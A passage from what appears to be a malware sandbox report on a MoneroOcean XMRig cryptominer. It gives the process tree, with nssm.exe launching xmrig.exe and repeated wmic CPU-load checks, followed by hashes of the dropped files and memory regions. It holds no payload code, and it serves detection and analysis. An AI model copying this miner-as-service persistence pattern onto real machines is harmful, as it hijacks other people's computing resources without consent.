                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                PID:3848
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:3488
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:3360
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                    PID:2536
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:2148
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:2172
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\nssm.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\moneroocean\nssm.exe
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                      PID:4436
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\moneroocean\xmrig.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\moneroocean\xmrig.exe"
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                                                        PID:4864

                                                                                                                                                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      3KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      56efdb5a0f10b5eece165de4f8c9d799

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      fa5de7ca343b018c3bfeab692545eb544c244e16

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      c1666df0c362eb8a3898ee83f57afc1f

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      9e67dd620f92387b9060ffc587df54221c86ef81

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      77f82e4f0257e6fca9ecdd059e695cb88647bc6ffd5fe64cadab0f84d2bb807f

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      533cc4b5d1626836a4cb4bf7ac4a6cfff6681f4cba152ba2bdbe24805ea58c9ca75403ec5e8d5b7818a8151cf108f54626544bda55701c4825bbcd13c159cb63

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      6a48a525d9d8ffec5ed6265c906c183a

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      3006b8ef48948e26f72e432fe70c99262bb3ce03

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      be6975562f3bae0ff820bc777e9df6a5dc433aea2de68531e426c20fd549eb4f

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      7917f48921f970b22968d6e9761eac5b39f9d1f2d2cdf22e5a550e4177d9d51d17f718cafb9c7a1356b4eb199d07bab253498ffcbc56c5de2294ee9b3d6517f8

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      86c60d4f4ec50d0409bfdbf0218b03e2

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      82681f38613a8e7967755bcafaf91c7016806522

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      361c22c81eb9811e86ecfd8de08e0ad39fc214fab4857884b30dc0494e1fdd92

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      9a4a4ced063795958a7f59d9489ed311c91323739fb280b4051328dcea4914677b44ce4aeb9a3b6947ee76325c3a05c4b9b5dc42e6d227319d7751f234bf6d40

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      b83d60bcc1187509cf3bc5ab121360b3

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      0961abae2cc25e8b16ea17cde4e7ffcf27a219bf

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      4f972baa334ffed5f8d5d94400f1289148f67b03c267695f229de72251ba174d

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      15523baae3726b1133816613aca614f6031a95cb22716f7909f63ceb8385d02c70518320cb411a01f755bdd6a1b4ca78359e1c7b54a193e36b1c6c0ceef81e8b

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      43c53a35f0bfb0391abbeb8e20eb3267

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      996b81ada9385646e70753dcf36c7f42266f313d

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      68763532fc723b37f05620881d5dd999969a5bbf59dbb98b452dbbc11ef299d1

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      0024949b5600c2b5cdba6030ee268231f0af919831615b9159354392d537b21802febbca5ac4c900132a29b202efe67c44c835bb60ddfd98867893713547a57c

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      afc499ef2285f4d3a24af8ee55a49d73

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      ed1183bf840dd96310f5650b0e692f90e29a8de3

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      0652ff3a3449d6d0d1a3976cd3b389aace912cfa4db9527c8a923a8cca6c8203

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      e3a6670d60bde7d54a7e8b91719b1015fe6d3a02236126764eb01c732a21032a3b0ec8014b9af315c27434ed50d340fe81f4740b32c4335e6079a8b6911d7ecb

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      90d988b5a04ccd0a583f0135d529785a

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      d81f1fee5d37ec5339c92b33892b68ddc19bc53b

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      749c26f1d93f73c6b3dcb718b0f5570f0bf4f244bfdf471933a4f69903556fc9

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      6b079e2ab271482d386a65a1715596affea3925266978acb7f288be850a42c452db2fb39b4f155ba47a18395134e451763e34bcbdac8ff6413a87b99a3ddc4e4

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      164792d0984e0d5d9462dc24536ae156

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      b4437f9f0278e7af73868c66a35302b435d8575c

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      9839508064cf35d8ca6edb56c554b64c5b51282198453cfc59369d63ce399df2

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      2ea37fc0bae3a5d280c09b77c228d07f94e72d22bb26b43e5b391b6f2f4bff9e8264a3174347740f7c5d0a4d1a8e3f984ca3b96f47e5f87f1281d9accdeec3d3

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      d1a79b23f3abec53f61bdfcb0941958c

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      c84c8dd7f863cff37f015c62ffb726c04356ad8a

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      a62b37ff30991d5b0acdb7c606b126c0877cf3814514d89732ef91af6c7b53fb

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      057714a87734d44b100a858f0f21cb0c0f05aebb53804370723478b1d7719853e830eb780e8b2e7407a32e8cba2efb04385275ab14b2e8ce9445819c5982493d

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      680ead16298544dd3ba61340e75d03bb

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      86ff3507de037eb802e42f013378d370d6dbf8cf

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      470709cd065700c8974e938debbe1776a33947026e534fa9f8ff0acf2f969179

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      b21bc6c24f6181889226bf3ff8b683b1ff2c13b79c4275994f5b75b51e97bb5b6fb97d8e1d9d5134317b3958278b4cc4071a9752e56f5511febb76f3e73840f0

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      47bcbbfb0347aea4e559915a214adfd1

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      1066ca046613de9e3b312c8683c7e18dbf642b94

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      99221deca579462d94d599ce2d26df1fc0d8a9af766cfadd8a587578e365ca35

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      222292884b15a0eee7af3af02fbec774b99f3f27527b03d9b1c9b7226cf883b3a1544357163259179d95c16a126f46a81661fe2cca7e61b9e3f8d486eb50c694

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      e20074cb6da22bdde040b9810be8da64

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      d65a7608e5df85ce8a5c950b7d0f550e1bc2261e

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      9e5d2354b75b9859fa411655935abe62c9da45565b667ee7fe59d1a937d34682

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      69ea425b408500aed2e8f7268f35d7ecf44069df4bc35bfafded2bd4bb23ff7e2644ea1b9b9c5ec6e3f047484647083190de906a7a6b99fcd5045b1a13da6b7c

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lcqzjdxa.i4t.ps1

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1B

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\tmp62F0.tmp.bat

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      14KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      623f6006f683afdb4b7406e3a4ec35bf

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      f63f03d7338317224726eba368f1a045fa2142d7

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      21d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      d4f8a13f8c90e2b3b2e7d30a553df39c

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      5c5303ef682ffcd31e57d1abd900ba5b637d51e4

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      68b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      c9ef9c214996db3d88f571226910c5d5

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      420ba30247b1e09f706557a7704a1ebee5d3165c

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      67099c11aee7715195c370daf8713cf6

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      4ffe1365749d5828225c3c91efbf37524f6b4574

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      91a469ac7711ea2098eeed42b648548c51a109b83fd54fac53b643a4d9f127c8

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      4a4351749e0a6dfb211196af3eb892486c3df501ec6923cad96c16605e40cca3febaf908ece586e36a55b2945141140c18c0359badd0d609999aed747221145b

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      e3b9b22db047eeacf220bc3b9c7f4eb2

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      3b32a79bfde5b7860537e969a65c9ce854794efb

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      5ef97aec367578d4ef6954f09f3ad4db6bb92d74dd08db7452c9e7bda32327d4

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      0f9f534bcf09077b826fee22bfcdb24cdef734ab10f903687107b28b28c2e45cfa72655ae5716561a4b2aade574595a373f27df380792aa7bec3281056ab7d27

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      b8d25cb822e16c12dd3c3f8e624c6e51

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      020fb2ca53b3278ee401cb0eb37a6058a49e639f

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      eb569ae8c103bc3adf6d1735966431a8c0c6e019679ec9f56f6c9942015f3fca

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      d5d93a8319df6abcc39b320dfcd1e29a1b10f0bfdad374200dc93216ddb9fd61a9f409e82b9411d3814ae4dceada5f14dd352bf83c0c2449a1082152d6a481ab

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      cd4622b57763eed6fd33f018b8c93d29

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      47f1608be1968cee1f066f1eb0982697a133e435

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      06ac9f155173b2b3ccc214fd7b4f5b483cbad4152294f7b0550b5983a384e3f0

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      4ac793496092ef8909a12aed0dbd79bc0d4ff48ca3c1b7a2d52dc7d5052993d0c1e0fa1855657a4caa85be84861561ead7c5f3e50090f4628a7d3797db8ec809

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\nssm.exe

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      360KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      1136efb1a46d1f2d508162387f30dc4d

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      f280858dcfefabc1a9a006a57f6b266a5d1fde8e

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      43b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\xmrig.exe

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.0MB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      9ee2c39700819e5daab85785cac24ae1

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      9b5156697983b2bdbc4fff0607fadbfda30c9b3b

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      47d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\nssm.zip

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      135KB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      7ad31e7d91cc3e805dbc8f0615f713c1

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      9f3801749a0a68ca733f5250a994dea23271d5c3

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      5b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260

                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\xmrig.zip

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      3.5MB

                                                                                                                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                                                                                                                      640be21102a295874403dc35b85d09eb

                                                                                                                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                                                                                                                      e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4

                                                                                                                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                                                                                                                      ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b

                                                                                                                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                                                                                                                      ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e

                                                                                                                                                                                                                                                                                                                                                                    • memory/2180-89-0x00000143197A0000-0x00000143197AA000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      40KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2180-90-0x00000143199F0000-0x0000014319A02000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      72KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3036-4-0x00007FFD5A823000-0x00007FFD5A824000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3036-50-0x00007FFD5A820000-0x00007FFD5B20C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3036-49-0x00007FFD5A823000-0x00007FFD5A824000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3036-25-0x00007FFD5A820000-0x00007FFD5B20C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3036-10-0x00007FFD5A820000-0x00007FFD5B20C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3036-9-0x000001932CC60000-0x000001932CCD6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      472KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3036-8-0x00007FFD5A820000-0x00007FFD5B20C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.9MB

